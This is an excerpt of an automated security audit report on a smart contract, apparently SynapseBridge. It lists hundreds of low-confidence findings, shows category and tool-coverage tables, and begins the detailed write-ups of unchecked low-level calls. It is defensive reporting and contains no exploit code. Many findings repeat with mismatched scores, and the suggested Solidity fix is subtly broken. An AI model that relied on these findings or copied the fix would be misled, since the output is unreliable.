F-190	access_control_violation	LOW	28%	1	Open (28% conf.)	9.6
F-191	access_control_violation	LOW	28%	1	Open (28% conf.)	9.6
F-192	access_control_violation	LOW	28%	1	Open (28% conf.)	9.6
F-193	access_control_violation	LOW	28%	1	Open (28% conf.)	9.6
F-194	access_control_violation	LOW	28%	1	Open (28% conf.)	9.6
F-195	state_invariant_break	MEDIUM	28%	1	Open (28% conf.)	6.8
F-196	state_invariant_break	MEDIUM	28%	1	Open (28% conf.)	6.8
F-197	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-198	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-199	missing_annotation_coverage	INFO	20%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-200	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-201	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-202	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-203	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-204	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-205	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-206	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-207	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-208	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-209	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-210	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-211	missing_annotation_coverage	INFO	20%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-212	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-213	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-214	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-215	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-216	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-217	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-218	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-219	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-220	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-221	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-222	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-223	missing_annotation_coverage	INFO	20%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-224	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-225	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-226	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-227	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-228	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-229	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-230	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-231	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-232	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-233	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-234	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-235	missing_annotation_coverage	INFO	20%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-236	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-237	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-238	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-239	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-240	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-241	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-242	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-243	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-244	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-245	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-246	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-247	missing_annotation_coverage	INFO	20%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-248	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-249	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-250	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-251	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-252	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	6.8
F-253	Potential Integer Overflow/ Underflow	MEDIUM	28%	1	Open (28% conf.)	6.2
F-254	ml_detected_vulnerability	MEDIUM	41%	1	Open (41% conf.)	6.8
F-255	delegatecall	MEDIUM	40%	1	Open (40% conf.)	6.8
F-256	bad_randomness	MEDIUM	40%	1	Open (40% conf.)	6.8
F-257	Integer Overflow/Underflow	MEDIUM	39%	1	Open (39% conf.)	6.8
F-258	Integer Overflow/Underflow	MEDIUM	39%	1	Open (39% conf.)	6.8
F-259	Integer Overflow/Underflow	MEDIUM	39%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (39% conf.)	
F-260	Integer Overflow/Underflow	MEDIUM	39%	1	Open (39% conf.)	6.8
F-261	Integer Overflow/Underflow	MEDIUM	39%	1	Open (39% conf.)	6.8
F-262	Integer Overflow/Underflow	MEDIUM	39%	1	Open (39% conf.)	6.8
F-263	Unbounded Array Growth DoS	MEDIUM	39%	1	Open (39% conf.)	6.8
F-264	Front-Running Vulnerability	MEDIUM	39%	1	Open (39% conf.)	6.2
F-265	Front-Running Vulnerability	MEDIUM	39%	1	Open (39% conf.)	6.2
F-266	Front-Running Vulnerability	MEDIUM	39%	1	Open (39% conf.)	6.2
F-267	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-268	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-269	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-270	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-271	Missing Access Control	MEDIUM	39%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (39% conf.)	
F-272	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-273	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-274	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-275	Missing Access Control	MEDIUM	39%	1	Open (39% conf.)	9.6
F-276	Unchecked Low-Level Call	MEDIUM	39%	1	Open (39% conf.)	6.8
F-277	Unchecked Low-Level Call	MEDIUM	39%	1	Open (39% conf.)	6.8
F-278	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-279	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-280	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-281	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-282	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-283	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-284	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-285	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-286	access_control	LOW	28%	1	Open (28% conf.)	9.6
F-287	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-288	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-289	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-290	access_control	LOW	28%	1	Open (28% conf.)	9.6
F-291	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-292	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-293	delegatecall_injection	MEDIUM	28%	1	Open (28% conf.)	6.8
F-294	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-295	threat_model	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-296	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-297	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-298	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-299	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-300	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-301	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-302	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-303	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-304	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-305	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-306	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-307	threat_model	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-308	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-309	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-310	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-311	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-312	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-313	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-314	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-315	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-316	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-317	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-318	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-319	threat_model	LOW	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-320	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-321	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-322	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-323	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-324	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-325	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-326	threat_model	LOW	28%	1	Open (28% conf.)	6.8
F-327	threat_model	MEDIUM	28%	1	Open (28% conf.)	6.8
F-328	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-329	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-330	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-331	gas_optimization	LOW	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-332	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-333	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-334	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-335	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-336	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-337	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-338	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-339	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-340	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-341	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-342	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-343	gas_optimization	LOW	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-344	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-345	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-346	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-347	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-348	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-349	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-350	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-351	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-352	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-353	gas_optimization	LOW	28%	1	Open (28% conf.)	6.8
F-354	Missing Transaction Deadline	MEDIUM	28%	1	Open (28% conf.)	6.8
F-355	Potential Rug Pull Pattern	MEDIUM	37%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (37% conf.)	
F-356	Potential Rug Pull Pattern	MEDIUM	37%	1	Open (37% conf.)	6.8
F-357	Potential Rug Pull Pattern	MEDIUM	37%	1	Open (37% conf.)	6.8
F-358	Potential Rug Pull Pattern	MEDIUM	37%	1	Open (37% conf.)	6.8
F-359	Token Security Issue	MEDIUM	37%	1	Open (37% conf.)	6.8
F-360	Token Security Issue	MEDIUM	37%	1	Open (37% conf.)	6.8
F-361	Proxy/Upgrade Vulnerability	MEDIUM	37%	1	Open (37% conf.)	6.8
F-362	Proxy/Upgrade Vulnerability	MEDIUM	37%	1	Open (37% conf.)	6.8
F-363	uninitialized_proxy	MEDIUM	28%	1	Open (28% conf.)	8.6
F-364	missing_initializer	MEDIUM	28%	1	Open (28% conf.)	6.8
F-365	Value transfer without validation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-366	Minting without apparent access control	MEDIUM	28%	1	Open (28% conf.)	6.8
F-367		MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
	Emergency mechanism without timelock				Open (28% conf.)	
F-368	unprotected_mint	MEDIUM	28%	1	Open (28% conf.)	6.8
F-369	unprotected_mint	MEDIUM	28%	1	Open (28% conf.)	6.8
F-370	unprotected_mint	MEDIUM	28%	1	Open (28% conf.)	6.8
F-371	unprotected_mint	MEDIUM	28%	1	Open (28% conf.)	6.8
F-372	deposit_withdrawal_imbalance	MEDIUM	28%	1	Open (28% conf.)	6.8
F-373	Access Control Issue	MEDIUM	28%	1	Open (28% conf.)	9.6
F-374	Access Control Issue	MEDIUM	28%	1	Open (28% conf.)	9.6
F-375	Access Control Issue	MEDIUM	28%	1	Open (28% conf.)	9.6
F-376	Delegatecall to Untrusted Callee	MEDIUM	28%	1	Open (28% conf.)	6.8
F-377	Denial of Service via Gas Limit	MEDIUM	28%	1	Open (28% conf.)	9.6
F-378	Front-Running / Transaction Ordering Dependence	MEDIUM	28%	1	Open (28% conf.)	6.2
F-379		MEDIUM	28%	1		6.2

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
	Front-Running / Transaction Ordering Dependence				Open (28% conf.)	
F-380	Front-Running / Transaction Ordering Dependence	MEDIUM	28%	1	Open (28% conf.)	6.2
F-381	Integer Overflow / Underflow	MEDIUM	28%	1	Open (28% conf.)	6.2
F-382	Integer Overflow / Underflow	MEDIUM	28%	1	Open (28% conf.)	6.2
F-383	Integer Overflow / Underflow	MEDIUM	28%	1	Open (28% conf.)	6.2
F-384	Timestamp Dependence	LOW	28%	1	Open (28% conf.)	6.8
F-385	Timestamp Dependence	LOW	28%	1	Open (28% conf.)	6.8
F-386	Unchecked Low-Level Call	LOW	28%	1	Open (28% conf.)	6.8
F-387	Unchecked Low-Level Call	LOW	28%	1	Open (28% conf.)	6.8
F-388	Unchecked Low-Level Call	LOW	28%	1	Open (28% conf.)	6.8
F-389	Uninitialized Storage Variable	LOW	28%	1	Open (28% conf.)	8.6
F-390	Uninitialized Storage Variable	LOW	28%	1	Open (28% conf.)	8.6
F-391	reentrancy	MEDIUM	26%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (26% conf.)	
F-392	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-393	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-394	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-395	reentrancy	MEDIUM	26%	1	Open (26% conf.)	9.6
F-396	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-397	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-398	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-399	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-400	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-401	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-402	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-403	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-404	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-405	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-406	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-407	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-408	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-409	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-410	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-411	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-412	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-413	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-414	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-415	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-416	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-417	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-418	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-419	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-420	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-421	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-422	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-423	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-424	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-425	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-426	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-427	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-428	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-429	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-430	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-431	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-432	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-433	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-434	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-435	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-436	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-437	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-438	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-439	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-440	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-441	access_control	LOW	28%	1	Open (28% conf.)	9.6
F-442	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-443	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-444	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-445	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-446	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-447	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-448	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-449	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-450	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-451	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-452	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-453	unchecked_call	MEDIUM	28%	1	Open (28% conf.)	6.6
F-454	unchecked_call	MEDIUM	28%	1	Open (28% conf.)	6.6
F-455	unchecked_call	MEDIUM	28%	1	Open (28% conf.)	6.6
F-456	unchecked_call	MEDIUM	28%	1	Open (28% conf.)	6.6
F-457	denial_of_service	MEDIUM	28%	1	Open (28% conf.)	6.8
F-458	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-459	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-460	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-461	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-462	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-463	access_control	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-464	denial_of_service	MEDIUM	28%	1	Open (28% conf.)	6.8
F-465	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-466	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-467	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-468	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-469	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-470	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-471	denial_of_service	MEDIUM	28%	1	Open (28% conf.)	6.8
F-472	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-473	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-474	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-475	denial_of_service	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-476	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-477	short_address	LOW	28%	1	Open (28% conf.)	6.8
F-478	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-479	short_address	LOW	28%	1	Open (28% conf.)	6.8
F-480	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-481	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-482	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-483	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-484	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-485	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-486	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-487	arithmetic	MEDIUM	26%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (26% conf.)	
F-488	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-489	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-490	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-491	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-492	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-493	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-494	short_address	LOW	28%	1	Open (28% conf.)	6.8
F-495	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-496	denial_of_service	MEDIUM	28%	1	Open (28% conf.)	6.8
F-497	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-498	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-499	arithmetic	MEDIUM	26%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (26% conf.)	
F-500	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-501	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8
F-502	access_control	MEDIUM	28%	1	Open (28% conf.)	9.6
F-503	bad_randomness	MEDIUM	28%	1	Open (28% conf.)	6.8
F-504	arithmetic	MEDIUM	26%	1	Open (26% conf.)	6.8

4.2 Category Distribution

CATEGORY	COUNT	SEVERITY BREAKDOWN
access_control	86	3 low, 83 medium
missing_annotation_coverage	56	56 informational
postcondition_failure	40	1 low, 39 medium
arithmetic	39	39 medium
threat_model	34	7 low, 27 medium
gas_optimization	26	26 low
missing_zero_address_check	23	23 low
precondition_failure	17	1 low, 16 medium
access_control_violation	15	5 low, 10 medium
naming-convention	14	14 informational

CATEGORY	COUNT	SEVERITY BREAKDOWN
dead-code	12	10 informational, 2 low
low-level-calls	10	10 informational
reentrancy	9	9 medium
invariant_violation	8	8 medium
unchecked_call	7	3 low, 4 medium
denial_of_service	6	6 medium
front_running	6	6 medium
internal-function-used-once	5	5 low
unsafe-erc20-operation	5	5 low
missing-zero-check	4	4 low
assembly	4	4 informational
eth-send-unchecked-address	4	1 high, 3 medium
state-change-without-event	4	4 low
integer_overflow	4	4 medium
rug_pull	4	4 medium
unprotected_mint	4	4 medium
empty-block	3	3 low
state-variable-could-be-immutable	3	3 low
short_address	3	3 low
unchecked-lowlevel	2	2 medium
solc-version	2	2 informational
redundant-statements	2	2 informational
unindexed-event-address	2	2 informational
use_of_block_timestamp	2	2 low
missing_event_emission	2	2 low

CATEGORY	COUNT	SEVERITY BREAKDOWN
unchecked-low-level-call	2	2 medium
redundant-statement	2	2 low
state_invariant_break	2	2 medium
delegatecall	2	2 medium
bad_randomness	2	2 medium
unchecked_low_level_calls	2	2 medium
token_security	2	2 medium
proxy_upgrade	2	2 medium
bridge_fund_drainage	2	2 medium
timestamp_dependence	2	2 low
uninitialized_storage	2	2 low
loop_length_caching	1	1 informational
costly-loop	1	1 low
modifier-used-only-once	1	1 low
state_manipulation	1	1 low
fund_extraction	1	1 medium
privilege_escalation_sequence	1	1 medium
cross_function_vulnerability	1	1 medium
ml_detected_vulnerability	1	1 medium
delegatecall_injection	1	1 medium
sandwich_attack	1	1 medium
uninitialized_proxy	1	1 medium
missing_initializer	1	1 medium
emergency_withdrawal	1	1 medium
deposit_withdrawal_imbalance	1	1 medium

CATEGORY	COUNT	SEVERITY BREAKDOWN
dos_gas	1	1 medium

4.3 Layer Coverage Analysis

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 1: Static Analysis	slither, aderyn, solhint, wake, semgrep	5	0	102	 100%
Layer 2: Dynamic Testing	echidna, medusa, foundry, dogefuzz, vertigo, hardhat	6	0	0	 100%
Layer 3: Symbolic Execution	mythril, manticore, halmos, oyente	4	0	0	 100%
Layer 4: Formal Verification	certora, smtchecker, propertygpt, scribble	3	1	138	 75%
Layer 6: AI/LLM Analysis	smartllm, gptscan, llmsmartaudit	3	0	0	 100%
Layer 7: ML Detection	dagann, smartbugs_ml, smartbugs_detector, smartguard	3	1	24	 75%
Layer 8: DeFi Security	mev_detector, defi	2	0	1	 100%
Layer 9: Specialized Analysis	threat_model, gas_analyzer, contract_clone_detector, advanced_detector	4	0	68	 100%

5. Detailed Findings

F-001. unchecked-lowlevel

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	4.3
Confidence	48%
Location	../.. /audit_workspace/SynapseBridge.flat.sol:2174 (mint)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.mint(address,IERC20Mintable,uint256,uint256,bytes32) ignores return value by to.call.value(chainGasAmount())

Vulnerable Code

```
2169 | * @param token ERC20 compatible token to deposit into the bridge
2170 | * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 | * @param fee Amount in native token decimals to save to the contract as
fees
2172 | * @param kappa kappa
2173 | **/
>> 2174 | function mint(
2175 |     address payable to,
2176 |     IERC20Mintable token,
2177 |     uint256 amount,
2178 |     uint256 fee,
2179 |     bytes32 kappa
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

Suggested Fix

```
- to.call.value(chainGasAmount)();
+ require(to.call.value(chainGasAmount()), 'Transfer failed');
```

Remediation Effort: Low **Estimated Fix Time:** 30 min

References

- SWC-104
- OWASP Smart Contract Top 10

F-002. unchecked-lowlevel

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	4.3
Confidence	48%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:2281 (mintAndSwap)
Status	Open (48% conf.)
Detected By	slither

Description

SynapseBridge.mintAndSwap(address,IERC20Mintable,uint256,uint256,ISwap,uint8,uint8,uint256,uint256) ignores return value by to.call.value(chainGasAmount())

Vulnerable Code

```
2276 |      * @param tokenIndexTo Index of the desired final asset
2277 |      * @param minDy Minumum amount (in final asset decimals) that must be
swapped for, otherwise the user will receive the SynERC20.
2278 |      * @param deadline Epoch time of the deadline that the swap is allowed to
be executed.
